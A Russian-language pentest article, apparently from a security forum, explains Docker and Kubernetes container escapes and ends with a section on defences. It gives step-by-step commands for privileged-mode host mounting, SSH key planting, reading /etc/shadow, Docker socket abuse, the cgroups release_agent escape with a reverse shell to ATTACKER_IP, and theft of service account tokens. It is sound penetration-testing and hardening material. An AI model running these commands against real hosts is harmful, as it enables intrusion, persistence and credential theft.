Контейнер - это не виртуальная машина. Когда ты оказываешься внутри контейнера на пентесте, между тобой и ядром хоста нет аппаратного гипервизора. Есть набор софтовых абстракций - namespaces, cgroups, capabilities, seccomp-профили - и любая из них может быть ослаблена мисконфигурацией или сломана уязвимостью. Побег из Docker контейнера (Escape to Host,
Ссылка скрыта от гостей
, тактика privilege-escalation) - переход из изолированного пользовательского пространства на хост с получением контроля над базовой системой и всеми соседними контейнерами.Здесь я разбираю конкретные container escape techniques - от тривиального злоупотребления
--privileged до эксплуатации свежих уязвимостей runc из серии Leaky Vessels. Для каждого вектора - механика на уровне ядра, воспроизводимые команды и объяснение, почему оно вообще работает. Материал для пентестеров, которые хотят не просто «запускать скрипт», а понимать, какой syscall за что отвечает.Почему контейнерная изоляция ломается
Прежде чем ломать - нужно понять, что именно нас держит. Контейнер - это процесс (или группа процессов), которому через механизмы ядра Linux создано собственное пользовательское пространство. Четыре столпа этой изоляции:Namespaces определяют, что процесс видит. Mount namespace даёт отдельную файловую систему, PID namespace - отдельное дерево процессов, NET namespace - отдельный сетевой стек. Процесс внутри контейнера взаимодействует со своими экземплярами глобальных ресурсов и не видит хостовые.
Cgroups определяют, сколько ресурсов процесс может сожрать: CPU, память, I/O. Но cgroups v1 содержат механизм
release_agent, который выполняет команды в контексте хоста - и это станет нашим вектором атаки.Capabilities определяют, что процесс может делать. Linux разбивает привилегии root на дискретные единицы:
CAP_SYS_ADMIN (монтирование ФС, манипуляции с cgroups), CAP_SYS_PTRACE (трассировка чужих процессов), CAP_NET_ADMIN (управление сетью). Docker по умолчанию дропает большинство capabilities, но администраторы с завидным упорством возвращают их обратно.Seccomp фильтрует системные вызовы. Профиль Docker по умолчанию блокирует опасные syscall'ы вроде
mount, reboot, kexec_load.Критический момент: все контейнеры на хосте разделяют одно ядро. Уязвимость в ядре эксплуатируется из любого контейнера, независимо от его конфигурации. Это фундаментальное отличие от виртуальных машин, где каждая ВМ работает со своим экземпляром ядра, изолированным на уровне CPU.
Разведка: определяем вектор побега изнутри контейнера
Первое, что делаешь, получив шелл в контейнере - собираешь информацию о среде. Не стреляешь вслепую, а методично определяешь, какие механизмы изоляции ослаблены.Проверка: мы вообще в контейнере?
Bash:
# Наличие .dockerenv - верный признак Docker-контейнера
ls -la /.dockerenv
# Cgroup - если видишь /docker/ или /kubepods/ в пути, ты в контейнере
cat /proc/1/cgroup
# Количество процессов - в контейнере их обычно мало
ps aux | wc -l
Проверка capabilities
Bash:
# Если установлен capsh
capsh --print
# Или через /proc
cat /proc/self/status | grep -i cap
# Декодирование capability bitmask
# CapEff: 0000003fffffffff означает полный набор - мы в privileged
capsh --decode=0000003fffffffff
CapEff содержит полный набор (значение 0000003fffffffff или близкое) - контейнер запущен с --privileged. Это первый и самый жирный вектор.Проверка монтирований и сокетов
Bash:
# Ищем Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock
# Ищем монтированные хостовые директории
mount | grep -E "ext4|xfs|btrfs"
cat /proc/self/mountinfo
# Ищем блочные устройства (доступны в privileged)
fdisk -l 2>/dev/null || lsblk 2>/dev/null
Проверка версии ядра и среды
Bash:
uname -a
cat /proc/version
# Информация о контейнерном рантайме
cat /proc/1/cmdline | tr '\0' ' '
| Инструмент | Что делает | Когда использовать |
|---|---|---|
amicontained | Показывает namespaces, capabilities, seccomp mode | Быстрая первичная разведка |
deepce | Комплексная проверка всех векторов побега | Полный аудит контейнера |
CDK (Container Escape Toolkit) | Автоматическая эксплуатация известных векторов | Когда нужен быстрый результат |
Я обычно начинаю с
amicontained - он лёгкий и за пару секунд даёт картину. Если ничего очевидного нет, подключаю deepce.Docker privileged mode escape: прогулка, а не взлом
Флаг--privileged - это отключение практически всех механизмов изоляции разом. Контейнер получает полный набор Linux capabilities, доступ ко всем устройствам хоста через /dev, отключение AppArmor и seccomp-профилей. Privileged-контейнеры - самый частый вектор побега на пентестах, и это не преувеличение.Почему это работает
Когда Docker запускает контейнер с--privileged, он не модифицирует capabilities процесса - тот сохраняет полные привилегии root. Все устройства хоста (включая блочные /dev/sda, /dev/nvme0n1p1) становятся видимы и доступны. Seccomp-профиль не применяется, так что syscall mount работает без ограничений. По сути, тебя посадили в «клетку» с открытой дверью.Пошаговая эксплуатация
Шаг 1. Подтверждаем privileged mode:
Bash:
# Проверяем capabilities - должны быть полные
capsh --print 2>/dev/null | grep "Current"
# Или проверяем доступ к устройствам
ls /dev/sda* /dev/nvme* /dev/vda* 2>/dev/null
Bash:
fdisk -l 2>/dev/null | grep "Disk /dev"
# Типичный результат: /dev/sda1, /dev/vda1, /dev/nvme0n1p1
Bash:
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
Bash:
# Вариант 1: chroot в хостовую ФС
chroot /mnt/host /bin/bash
# Вариант 2: добавляем SSH-ключ для персистентного доступа
echo "ssh-rsa AAAA...ваш_ключ..." >> /mnt/host/root/.ssh/authorized_keys
# Вариант 3: читаем чувствительные файлы
cat /mnt/host/etc/shadow
chroot /mnt/host /bin/bash ты фактически root на хосте. Можно создавать пользователей, читать секреты, модифицировать системные сервисы. Побег занимает буквально секунды - я засекал.И вот что обидно (для защитников): privileged-контейнеры по-прежнему часто встречаются в production. CI/CD-пайплайны с Docker-in-Docker, мониторинговые агенты, dev-окружения, где разработчик добавил
--privileged чтобы «просто работало». На каждом втором проекте натыкаюсь.Mounted Docker socket exploitation: ключи под ковриком
Монтирование Docker-сокета (/var/run/docker.sock) в контейнер - второй по частоте вектор побега. Этот паттерн используется CI/CD-системами (Jenkins, GitLab Runner), инструментами мониторинга (Portainer, cAdvisor), лог-агрегаторами.Почему это работает
Docker daemon работает от root. Сокет/var/run/docker.sock - Unix-сокет, через который клиент общается с демоном по Docker API. Любой, кто имеет доступ к этому сокету, может отправлять команды демону от имени root. Это не уязвимость - это штатная работа API. Но с точки зрения безопасности, доступ к сокету эквивалентен root SSH на хост. Ключи буквально лежат под ковриком.Пошаговая эксплуатация
Шаг 1. Проверяем наличие сокета:
Bash:
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker ... /var/run/docker.sock
Если в контейнере нет клиента Docker, используем curl:
Bash:
# Проверяем, что API доступно
curl -s --unix-socket /var/run/docker.sock http://localhost/version
# Список запущенных контейнеров
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
Если Docker-клиент доступен:
Bash:
docker -H unix:///var/run/docker.sock run -it --privileged \
--pid=host --net=host \
-v /:/hostfs \
alpine chroot /hostfs /bin/sh
Bash:
# Создаём контейнер через API
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Privileged":true,"HostConfig":{"Binds":["/:/hostfs"],"Privileged":true}}'
Bash:
docker -H unix:///var/run/docker.sock run -it --privileged \
--pid=host alpine nsenter -t 1 -m -u -i -n -p -- /bin/bash
nsenter входит во все namespaces процесса с PID 1 на хосте (обычно systemd/init), фактически давая полный root-шелл на хосте.Получив доступ к Docker API, обязательно проверь соседние контейнеры через
docker ps. Рядом могут крутиться контейнеры с базами данных, секретами, внутренними сервисами - вектор для латерального перемещения. На одном engagement'е я так нашёл контейнер с PostgreSQL, у которого пароль лежал в переменных окружения.Cgroups release_agent escape: красивый трюк с ядром
Этот вектор работает, когда контейнер не имеет полного--privileged, но обладает capability CAP_SYS_ADMIN. Техника эксплуатирует механизм notify_on_release в cgroups v1.Механика на уровне ядра
В cgroups v1 каждая cgroup имеет файлnotify_on_release. Когда его значение равно 1 и последний процесс покидает cgroup, ядро выполняет бинарник, указанный в файле release_agent корневой cgroup. Ключевой момент: выполнение происходит в контексте хоста, а не контейнера. Ядру всё равно, кто записал путь в release_agent - оно тупо запускает указанный файл от root на хосте.Почему cgroups v2 не уязвим
В cgroups v2 механизмrelease_agent выпилен. Вместо него - более безопасный механизм уведомлений. Если на хосте cgroups v2 (по умолчанию в новых дистрибутивах), этот вектор не сработает. Проверить:
Bash:
# Если существует /sys/fs/cgroup/cgroup.controllers - это cgroup v2
ls /sys/fs/cgroup/cgroup.controllers 2>/dev/null && echo "cgroup v2" || echo "cgroup v1"
Пошаговая эксплуатация (cgroup v1 + CAP_SYS_ADMIN)
Шаг 1. Монтируем cgroup и создаём поддиректорию:
Bash:
mkdir -p /tmp/cgrp
mount -t cgroup -o pids cgroup /tmp/cgrp
# Если pids недоступна, попробуйте другие подсистемы:
# mount -t cgroup -o devices cgroup /tmp/cgrp
# mount -t cgroup -o rdma cgroup /tmp/cgrp
# Если подсистема уже смонтирована, работайте напрямую с /sys/fs/cgroup/<subsystem>/
# без повторного монтирования (mkdir /sys/fs/cgroup/pids/escape и т.д.)
mkdir /tmp/cgrp/escape
Bash:
echo 1 > /tmp/cgrp/escape/notify_on_release
# Определяем overlay path - это путь на хосте к файловой системе контейнера
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Bash:
cat > /cmd << 'EOF'
#!/bin/sh
ps aux > /output
cat /etc/hostname >> /output
id >> /output
EOF
chmod +x /cmd
Bash:
# Запускаем процесс в нашей cgroup и сразу завершаем его
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
# sh -c завершится сразу после echo, став последним процессом в cgroup
# и триггерив notify_on_release. Если не сработало, используйте:
# sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs" &
# Даём время на выполнение release_agent и читаем результат
sleep 1
cat /output
escape. Ядро видит notify_on_release=1, берёт путь из release_agent и выполняет наш скрипт в контексте хоста. Результат:
Bash:
cat /output
# Вывод ps aux хоста, hostname хоста, uid=0(root)
Bash:
cat > /cmd << 'EOF'
#!/bin/sh
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
Уязвимости runc: от
Ссылка скрыта от гостей
до Leaky Vessels
Runc - низкоуровневый контейнерный рантайм, который непосредственно создаёт и запускает контейнеры. Его используют Docker, containerd, CRI-O, Kubernetes. Уязвимость в runc бьёт по всей контейнерной инфраструктуре разом.CVE-2019-5736: перезапись бинарника runc на хосте
CVSS 8.6 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C - обратите внимание наS:C (Scope: Changed), что означает выход за пределы контейнера. CWE-78 (OS Command Injection). Затронуты runc до версии 1.0-rc6 и Docker до 18.09.2.Механика: Уязвимость связана с некорректной обработкой файловых дескрипторов. Когда выполняется
docker exec для запуска процесса в существующем контейнере, runc на хосте открывает себя через /proc/self/exe. Атакующий внутри контейнера может перезаписать бинарник runc на хосте через этот файловый дескриптор. После перезаписи любой последующий запуск контейнера выполнит подменённый runc с правами root.Условия эксплуатации:
- Атакующий контролирует образ контейнера, ИЛИ имеет запись в существующий контейнер, к которому применяется
docker exec - Требуется действие пользователя (
UI:R) - кто-то должен выполнитьdocker execили запустить контейнер
Ссылка скрыта от гостей
: Leaky Vessels - утечка файловых дескрипторов
CVSS 8.6 (HIGH), вектор аналогичный - S:C (выход за пределы контейнера). CWE-403 (Exposure of File Descriptor to Unintended Control Sphere), CWE-668 (Exposure of Resource to Wrong Sphere). Затронуты runc 1.1.11 и ранее.Механика: Из-за утечки внутреннего файлового дескриптора атакующий мог заставить процесс, создаваемый через
runc exec, иметь рабочую директорию в файловой системе хоста. Это давало доступ к хостовой ФС из контейнера. Тот же вектор мог быть использован через вредоносный Docker-образ для получения доступа к хосту при запуске контейнера.По данным Wiz, уязвимость имела широкое воздействие на облачные среды - затронут базовый компонент всей контейнерной инфраструктуры.
Серия CVE-2025: новые symlink/TOCTOU-уязвимости runc
В 2025 году раскрыты три новых уязвимости в runc, эксплуатирующие схожие классы проблем - symlink-гонки и некорректную верификацию bind-mount'ов (не связаны с оригинальным брендом Leaky Vessels от Snyk, который относился к CVE-2024-21626 и смежным CVE):CVE-2025-31133 (
CVSS 7.3 HIGH по CVSS 4.0, PR:L/UI:A/AT:P - нужны локальные привилегии, активное взаимодействие пользователя и предусловия атаки). CWE-61 (UNIX Symbolic Link Following), CWE-363 (Race Condition Enabling Link Following). Runc недостаточно верифицировал, что источник bind-mount (например, /dev/null контейнера) действительно является настоящим inode /dev/null. Атакующий мог подменить /dev/null симлинком на файлы procfs (например, /proc/sys/kernel/core_pattern), обойдя защиту maskedPaths. Затронуты runc версий до 1.2.7, 1.3.0-rc.1 - 1.3.1, 1.4.0-rc.1 - 1.4.0-rc.2.CVE-2025-52565 (CVSS 8.4 HIGH по CVSS 4.0). Те же CWE-61 и CWE-363. Из-за недостаточных проверок при bind-mount
/dev/pts/$n в /dev/console внутри контейнера атакующий мог обманом заставить runc смонтировать пути, которые обычно доступны только на чтение или замаскированы. PR:N (не нужны привилегии), UI:P (нужно действие пользователя - например, сборка образа).CVE-2025-52881 (CVSS 7.3 HIGH по
CVSS 4.0, PR:L/UI:A/AT:P). Затронуты runc версий 1.2.7, 1.3.2 и 1.4.0-rc.2. Атакующий мог перенаправить записи в /proc на другие procfs-файлы через гонку с использованием контейнера с общими монтированиями. Верифицировано, что эксплуатация возможна через стандартный Dockerfile при docker buildx build.Все три уязвимости исправлены в runc 1.2.8 и новее. Общий паттерн - symlink/TOCTOU-гонки (CWE-61, CWE-363) при инициализации контейнера. Runc наступает на одни и те же грабли - гонки при работе с симлинками.
Kernel exploits: общее ядро - общие уязвимости
В отличие от уязвимостей runc, kernel exploits не зависят от конфигурации контейнера. Ядро уязвимо - побег возможен из любого контейнера. Тут уже не важно, насколько аккуратно настроены capabilities и seccomp.
Ссылка скрыта от гостей
- Dirty Pipe
CVSS 7.8 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U. CWE-665 (Improper Initialization). Уязвимость в pipe-подсистеме ядра Linux: поле flags новой структуры pipe buffer не инициализировалось корректно и могло содержать устаревшие значения. Непривилегированный локальный пользователь мог записывать в страницы page cache, связанные с файлами «только для чтения». Затронуты ядра от 5.8 до 5.16.11/5.15.25/5.10.102.В контексте контейнеров основной вектор escape - перезапись бинарников контейнерного рантайма (runc, containerd-shim) через
/proc, которые исполняются хостом при операциях с контейнерами. Прямая перезапись файлов через overlay layers имеет ограничения из-за copy-on-write семантики.CVE-2022-0185 - Integer Overflow → Heap-Based Buffer Overflow в Filesystem Context
CVSS 8.4 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U -S:U (Scope: Unchanged), то есть сама по себе уязвимость не пересекает security boundary. CWE-190 (Integer Overflow), CWE-191 (Integer Underflow) - heap-based buffer overflow как следствие целочисленного переполнения. Переполнение кучи в функции legacy_parse_param при обработке параметров файловой системы. Это уязвимость локального повышения привилегий (LPE), которая может быть частью цепочки container escape. Непривилегированный пользователь мог эксплуатировать её при включённых unprivileged user namespaces; в противном случае требовался CAP_SYS_ADMIN в user namespace.CVE-2024-1086 - nf_tables Use-After-Free
CVSS 7.8 (HIGH). CWE-416 (Use After Free). Уязвимость в netfilter-подсистеме: функцияnft_verdict_init() позволяла положительные значения как drop error, что приводило к double free в nf_hook_slow(). Эксплуатируема из контейнеров с доступом к сетевому namespace. По данным Blaxel, в октябре 2025 года CISA подтвердила активную эксплуатацию этой уязвимости в ransomware-кампаниях группировками RansomHub и Akira. Это не теория - это уже в дикой природе.CVE-2016-5195 - Dirty COW
CVSS 7.0 (HIGH), вектор CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U - AC:H указывает на высокую сложность из-за необходимости выиграть race condition, что может потребовать множественных попыток. CWE-362 (Race Condition). Race condition в подсистеме управления памятью ядра, позволявшая запись в read-only memory mappings. Одна из первых kernel CVE, массово использовавшихся для побега из контейнеров. Старая, но на непатченных системах до сих пор встречается (да, такие ещё живы).Docker socket через сеть: побег без локального сокета
Отдельная история - когда Docker daemon доступен по TCP (порт 2375/2376). Встречается в Kubernetes-кластерах, CI/CD-пайплайнах, dev-средах. Проверка:
Bash:
# Изнутри контейнера или сети
curl -s http://<host>:2375/version
Kubernetes container escape: расширение поверхности атаки
В Kubernetes-средах вектора побега усиливаются дополнительными мисконфигурациями:- hostPID: true - контейнер разделяет PID namespace с хостом, видит все процессы. Комбинация с
CAP_SYS_PTRACEпозволяет производить инъекцию в код внутрь хостовых процессов - hostNetwork: true - контейнер разделяет сетевой namespace хоста, может перехватывать трафик
- hostIPC: true - доступ к shared memory хоста
- serviceAccountToken - автоматически монтируемый токен может иметь избыточные RBAC-права в кластере
Bash:
# Наличие хостового PID namespace
cat /proc/1/cmdline | tr '\0' ' '
# Если видишь systemd/init - ты в хостовом PID namespace
# Проверка Kubernetes service account
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Попытка обращения к API server
curl -sk https://kubernetes.default/api/v1/namespaces \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
Практический алгоритм: пентест контейнера за 10 шагов
Вот последовательность, которую я использую на engagement'ах. Порядок оптимизирован по вероятности успеха и скорости:
📚 Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Что затрудняет побег: защитные механизмы глазами атакующего
Понимание защиты помогает правильно оценить среду и не тратить время на нерабочие векторы.User namespaces. Если включены, root внутри контейнера (UID 0) маппится на непривилегированного пользователя на хосте. Даже побег из контейнера не даёт root на хосте. Проверка:
cat /proc/self/uid_map - если маппинг не 0 0 4294967295, user namespaces активны.Seccomp-профили. Дефолтный Docker-профиль блокирует около 44 syscall'ов, включая
mount, ptrace, reboot. Если seccomp активен и не ослаблен, вектор через cgroups release_agent не сработает - syscall mount будет заблокирован.AppArmor/SELinux. Дополнительные MAC-политики ограничивают доступ к файлам и операциям даже для процессов с нужными capabilities.
Cgroups v2. Удалён
release_agent - целый класс атак становится невозможным.Rootless containers. Docker daemon работает от непривилегированного пользователя. Даже при полном побеге атакующий получает лишь права этого пользователя. Неприятно.
Read-only root filesystem. Затрудняет размещение payload'ов, но обходится через tmpfs-монтирования.
Своевременный патчинг. Container escape CVE в runc, containerd и ядре Linux публикуются регулярно. Aggressive patching schedule - самая эффективная защита от эксплуатации уязвимостей. Для минимизации поверхности атаки рекомендуется использовать специализированные container-optimized ОС: Bottlerocket, Flatcar, Talos Linux.
Для обнаружения попыток побега в runtime - инструменты на основе eBPF: Falco и Sysdig Secure отслеживают аномальные системные вызовы, нетипичные деревья процессов и использование capabilities, характерное для эксплуатации.
Заключение
Побег из Docker контейнера - не экзотика, а стандартная часть kill chain при пентесте контейнерной инфраструктуры. Privileged mode и mounted Docker socket - тривиальные векторы, которые встречаются чаще, чем хотелось бы. Cgroups release_agent требуетCAP_SYS_ADMIN и cgroups v1, но на множестве production-систем эти условия выполняются. Уязвимости runc - от CVE-2019-5736 до Leaky Vessels (CVE-2024-21626) и свежих symlink/TOCTOU-уязвимостей runc (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881) - бьют по всей контейнерной инфраструктуре. Kernel exploits (Dirty Pipe, Dirty COW, CVE-2024-1086) работают из любого контейнера, потому что ядро общее.Контейнер - набор софтовых абстракций, а не аппаратная граница. Попробуйте прогнать свои production-контейнеры по чеклисту из раздела «10 шагов». Если нашли
--privileged или торчащий сокет - у вас та же проблема, что и у половины индустрии.
Последнее редактирование модератором: